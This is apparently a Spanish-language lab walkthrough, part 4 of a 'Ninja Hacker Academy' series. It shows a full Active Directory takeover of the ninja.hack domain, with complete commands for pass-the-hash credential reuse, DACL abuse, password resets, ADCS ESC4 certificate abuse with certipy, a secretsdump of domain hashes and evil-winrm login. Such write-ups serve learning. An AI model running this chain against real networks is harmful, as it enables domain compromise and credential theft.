Ninja Hacker Academy Parte 4
Introducción
En esta cuarta parte, descubriremos dos usuarios que están en los dos dominios, veremos que uno de ellos comparte credenciales, ontendremos los datos para bloodhound del segundo dominio, y seguiremos un path que nos llevará a explotar una vulnerabilidad de ADCS para conseguir el administrador de dominio de ninja.hack.
En el anterior artículo, se pudo ver en la última flag el texto well done sensei, now root second domain, así que vamos a por ese segundo dominio llamado ninja.hack. Volviendo a la página web que vimos en el primer artículo, se puede ver que en la página de contacto se muestran dos cuentas de usuario que están en los dos dominios.

A continuación, es posible comprobar si reutilizan la contraseña con la herramienta netexec, aprovechando que tenemos los hashes de los dos usuarios del dominio academy.ninja.lan
nxc smb 192.168.56.10 -u frank.umino -H 'd4fad93561dee253398d5891e991a6fb'
nxc smb 192.168.56.10 -u olivia.davis -H '91d85135bb2c4e12c46efbb77612c487'

Y se puede observar que el usuario olivia reutiliza la contraseña en el dominio ninja.hack, con lo cual podemos loguearnos allí. A continuación obtendremos los datos para bloodhound de ese dominio. Para ello es posible utilizar la herramienta rusthound-ce.
rusthound-ce -d ninja.hack -k -f DC-VIL.ninja.hack -z

Y en bloodhound vemos que existe una relación de confianza entre los dos dominios bidireccional.

Seguidamente, se puede ver en bloodhound que olivia.davis tiene permisos WriteDacl sobre Rachel.Philips, y nos muestra también la forma de explotarlo con dacledit.

dacledit.py -action 'write' -rights 'FullControl' -principal 'olivia.davis' -target 'rachel.philips' 'ninja.hack'/'olivia.davis' -hashes :91d85135bb2c4e12c46efbb77612c487

En este punto se descubrió un camino desde olivia.davis al administrador del dominio con bloodhound.

Teniendo FullControl sobre rachel.philips es posible cambiar su contraseña.
bloodyAD -d ninja.hack -H dc-vil.ninja.hack -u olivia.davis -k set password rachel.philips 'P@ssw0rd123!'
A continuación, ya que Rachel.Philips es miembro del grupo Sanin, que tiene GenericAll sobre el grupo Jonin, es posible añadir al usuario a dicho grupo.
net rpc group addmem "jonin" "rachel.philips" -U "ninja.hack"/"rachel.philips"%"P@ssw0rd123\!" -S "192.168.56.10"
Ahora enumeramos ADCS con esa cuenta que nos dice bloodhound que puede aprovecharse de ESC4.
certipy find -vulnerable -stdout -u rachel.philips -p 'P@ssw0rd123!' -target dc-vil.ninja.hack -dc-ip 192.168.56.10


Eso significa que tu usuario/grupo puede modificar la plantilla. La ruta típica es convertir temporalmente esa template en vulnerable tipo ESC1, pedir certificado con UPN de un usuario privilegiado, autenticarte y luego restaurar.
certipy template -u rachel.philips -p 'P@ssw0rd123!' -target dc-vil.ninja.hack -dc-ip 192.168.56.10 -template SignatureValidation -write-default-configuration

certipy req -u rachel.philips -p 'P@ssw0rd123!' -target dc-vil.ninja.hack -dc-ip 192.168.56.10 -ca NINJA-CA -template SignatureValidation -upn administrator@ninja.hack

certipy auth -pfx administrator.pfx -dc-ip 192.168.56.10
En este punto, recibimos un error Object SID mismatch between certificate and user 'administrator', así que sacamos el SID del administrator primero y pedimos el cretificado utilizando el SID.
bloodyAD -d ninja.hack -H dc-vil.ninja.hack -u rachel.philips -p 'P@ssw0rd123!' get object Administrator --attr objectSid
certipy req -u rachel.philips -p 'P@ssw0rd123!' -target dc-vil.ninja.hack -dc-ip 192.168.56.10 -ca NINJA-CA -template SignatureValidation -upn administrator@ninja.hack -sid 'S-1-5-21-537228621-2978927954-2691981874-500'
certipy auth -pfx administrator.pfx -dc-ip 192.168.56.10
Y esta vez si se obtiene el hash del administrator, pudiendo volcar todos los hashes del dominio.

secretsdump.py ninja.hack/administrator@dc-vil.ninja.hack -hashes :26777fdb79382484117ccfda940eca82

Finalmente nos conectamos con evil-winrm utilizando el hash del administrator y leemos la última flag.
evil-winrm -i dc-vil.ninja.hack -u administrator -H '26777fdb79382484117ccfda940eca82'
